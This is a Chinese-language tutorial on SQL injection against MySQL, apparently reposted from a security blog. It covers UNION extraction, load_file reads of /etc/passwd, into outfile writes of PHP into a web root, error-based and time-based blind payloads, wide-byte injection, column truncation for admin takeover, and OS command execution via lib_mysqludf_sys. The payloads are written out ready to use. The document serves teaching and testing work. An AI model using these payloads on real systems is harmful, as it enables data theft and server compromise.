[web安全] SQL注入之MySQL

来源:互联网 发布:淘宝购物券是什么 编辑:程序博客网 时间:2024/05/16 17:02
攻击者对数据库注入,利用方式可以归为一下几大类:查询数据;读写文件;执行命令
一、MySQL中的注释
MySQL支持以下3种注释风格:
#
-- 需要注意的是,使用此注释时,后面需要跟上一个或多个空格,tag也可以
/**/ 但要注意/*!*/有特殊意义

二、获取元数据
MySQL 5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是信息数据库,它提供了访问数据库元数据的方式。
(1)查询用户数据库名称
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1
语句的含义为:从INFORMATION_SCHEMA.SCHEMATA表中查询出第一个数据库名称。
INFORMATION_SCHEMA.SCHEMATA提供了关于数据库的信息。
(2)查询当前数据库表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select DATABASE()) limit 0,1
语句的含义为:从INFORMATION_SCHEMA.TABLES表中查询当前数据库表,并且只显示第一条数据,INFORMATION_SCHEMA.TABLES表给出了关于数据库中表的信息。
(3)查询指定表的所有字段
select COLUMNS_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' LIMIT 0,1
语句的含义为:从INFORMATION_SCHEMA.COLUMNS表中查询TABLE_NAME为Student的字段名,并置只显示一条。INFORMATION_SCHEMA.COLUMNS表给出了表中的列信息。

三、UNION查询

MySQL与Oracle并不像SQL Server那样可以执行多语句。所以,在利用查询时,通常配合UNION关键字。

SQL Server与MySQL、Oracle中的UNION关键字的使用基本相同,但也有少许差异。通过下面的语句来验证。

分别在SQL Server、MySQL中执行以下SQL语句:

select id,username,password from users union select 1,2,3
Oracle数据库执行以下SQL语句:
select id,username,password from users union select 1,2,3 from dual
SQL Server和Oracle:语句错误,数据类型不匹配,无法正常执行(列的数据类型在不确定的情况下,最好使用NULL关键字匹配)

MySQL:语句正常执行

在Oracle与SQL Server中,列的数据类型在不确定的情况下,最好使用NULL关键字匹配。


四、MySQL函数利用
(1)load_file()函数读文件操作
文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须小于max_allowed_packet字节。
union select 1,load_file('/etc/passwd'),3,4,5,6 #
union select 1,load_file('0x2F6563742F706173737764'),3,4,5,6 #
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #
(2)into outfile写文件操作
文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限。
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'

into dumpfile和into outfile的区别:dumpfile适用于二进制文件,它会将目标文件写入同一行内;而OUTFILE则更适用于文本文件。

(3)连接字符串
在MySQL查询中,如果需要一次查询多个数据,可以使用concat()或concat_ws()函数来完成。
concat()函数:select name from student where id=1 union select concat(user(),',',database(),',',version());
concat_ws()函数:select name from student where id=1 union select concat_ws(0x2c,user(),database(),version());

五、MySQL显错式注入
(1)通过updatexml函数,执行SQL语句
select * from message where id=1 and updatexml(1,(concat(0x7C,(select @@version))),1);
显示结果如下:
ERROR 1105 (HY000):XPATH syntax error: '|5.1.50-community-log'
(2)通过extractvalue函数,执行SQL语句
select * from message where id=1 and extractvalue(1,concat(0x7C,(select user())));
显示结果如下:
ERROR 1105 (HY000):XPATH syntax error: '|root@localhost'
(3)通过floor函数,执行SQL语句
select * from message where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
显示结果如下:
ERROR 1062 (23000):Duplicate entry '1root@localhost' for key 'group_key'
通过此类函数,可以达到与SQL Server数据库显错类似的效果。

六、宽字节注入
是由编码不统一所造成的,这种注入一般出现在PHP+MySQL中
如果在php.ini中打开了magic_quotes_gpc,用户输入0xbf27,经过转义后变成0xbf5c27,但0xbf5c又是一个字符,因此原本会存在的转义符号“\”,在数据库中就被“吃掉”了。单引号又显现了出来。

七、MySQL长字符截断(SQL-Column-Truncation)
在MySQL中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时,MySQL对插入超长的值只会提示warning,而不是error,这样就可能会导致一些截断问题。
新建一张表测试,表结构如下(MySQL 5.1)
CREATE TABLE USERS(
   id int(11) NOT NULL,
   username varchar(7) NOT NULL,
   password varchar(12) NOT NULL
)
分别插入以下SQL语句
(1)插入正常的SQL语句
mysql> insert into users(id,username,password) values (1,'admin','admin');
Query OK,1 row affected (0.00 sec)
(2)插入错误的SQL语句,此时的"admin   "右面有三个空格,长度为8,已经超过了原有的规定长度。
mysql> insert into users(id,username,password) values (2,'admin   ','admin');
Query OK,1 row affected,1 warning (0.00 sec)
(3)插入错误的SQL语句,长度已经超过原有的规定长度。
mysql> insert into users(id,username,password) values (3,'admin   x','admin');
Query OK,1 row affected,1 warning (0.00 sec)
比如,有一处管理员登录是这样判断的,语句如下:$sql="select count(*) from users where username='admin' and password='*****'";
假设管理员登录的用户名为admin,那么攻击者仅需要注册一个“admin   ”用户即可轻易进入后台管理页面。

八、延时注入
当网页页面具有容错功能,就只能通过盲注判断,盲注的意思即页面无差异的注入。延时注入则属于盲注技术的一种,是一种基于时间差异的注入技术。
在MySQL中有一个函数:SLEEP(duration),这个函数意思是在duration参数给定的秒数后运行语句。
select * from users where id=1 and sleep(3); 3秒后执行SQL语句
可以使用这个函数来判断URL是否存在SQL注入漏洞,步骤如下:
http://www.example.com/user.jsp?id=1 //页面返回正常,1秒左右可打开页面
http://www.example.com/user.jsp?id=1'//页面返回正常,1秒左右可打开页面
http://www.example.com/user.jsp?id=1' and 1=1 //页面返回正常,1秒左右可打开页面
http://www.example.com/user.jsp?id=1 and sleep(3) //页面返回正常,3秒左右可打开页面
DBMS执行了and sleep(3)语句,这样一来可判断出URL确实存在SQL注入漏洞。
与其他函数配合可通过延时注入读取数据
(1)and if(length(user())=0,sleep(3),1)
循环0,如果出现3秒延时,就可以判断出user字符串长度
(2)and if(hex(mid(user(),1,1))=1,sleep(3),1)
取出user字符串的第一个字符,然后与ASCII码循环对比。
(3)and if(hex(mid(user(),L,1))=N,sleep(3),1)
递归破解第二个ACSII码、第三个ASCII码,直至字符串最后一个字符为止。L的位置代表字符串的第几个字符,N的位置代表ASCII码。

SQL Server中的延时函数为waitfor delay、Oracle中的为DBMS_LOCK.SLEEP等函数


九、MySQL中的命令执行
MySQL UDF允许用户以C/C++编码的方式扩展MySQL的功能,并且动态的加载到运行中的MySQL服务器中。其原理是通过dlopen、dlsym、dlclose等接口来实现动态的加载动态函数库的目的。
在流行的数据库中,一般都支持从本地文件系统中导入一个共享库文件作为自定义函数。使用如下语法可以创建UDF:CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_library
MySQL中没有执行外部命令的函数,要调用外部的命令,可以通过开发MySQL UDF来实现。lib_mysqludf_sys就是一个实现了此功能的UDF库。可以利用lib_mysqludf_sys提供的几个函数执行系统命令,其中最主要的函数是sys_eval()和sys_exec()
使用方法:
(1)lib_mysqludf_sys.so复制到mysql/lib/plugin目录下。
(2)在mysql中创建函数(根据需要选取):Create FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
(3)在select语句调用mkdir命令:Select sys_exec('mkdir -p /home/user1/aaa') 
在自动化注入工具SQLMAP中,已经集成了此功能,选项为--os-cmd

0 0